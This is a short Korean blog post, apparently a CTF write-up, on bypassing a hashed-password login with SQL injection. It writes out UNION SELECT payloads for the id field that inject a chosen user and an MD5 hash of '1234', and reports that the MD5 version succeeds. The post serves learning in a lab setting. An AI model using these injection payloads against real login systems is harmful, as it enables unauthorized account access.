https://velog.io/@dmkr9845/CTF-Login-Bypass-3
Login Bypass 3과 같은 방식으로 접근한다.
id : asdf' union select 'normaltic3','1234'#
pw : 1234
로그인이 안된다....
로그인 로직 케이스를 떠올려보자.
1.식별/인증 동시
2.식별/인증 분리
3.식별/인증 동시 with hash
4.식별/인증 분리 with hash
doldol/dol1234'#이 로그인이 안되므로 식별/인증 분리가 아닐까?
내 로그인 페이지를 참고한다.
로그인 할 때 받은 패스워드를 해시처리한 다음 DB에 저장된 비밀번호와 비교한다.
다시말해 아이디 값을 확인하는 sql 문
select id,PW from login_info where id = 'asddf' union select 'normaltic4','해시처리한 패스워드'#
을 입력하면 'normaltic4', '해시처리한패스워드'를 포함한 테이블이 생성될 것이고, 받은 비밀번호 값을 해시처리 한 뒤 테이블에 있는 값이랑 비교한다.
id = 'normaltic4' , pw = 1234(아무거나 써도 됌)를 입력하고자 한다.
그럼 아이디칸에 들어가는 우리가 임의로 설정할 비밀번호는 해시처리를 해주고,
패스워드는 1234 그대로 입력해준다.
무슨 해시함수를 써볼까... 일단 내가 로그인 페이지 만들때 사용한 sha-256을 써보자.
id = asddf' union select 'normaltic4','03AC674216F3E15C761EE1A5E255F067953623C8B388B4459E13F978D7C846F4'#
pass = 1234
을 입력하면 로그인 실패.. MD5를 써보자.
id = asdff' union select 'normaltic4','81DC9BDB52D04DC20036DBD8313ED055'#
pass = 1234
성공!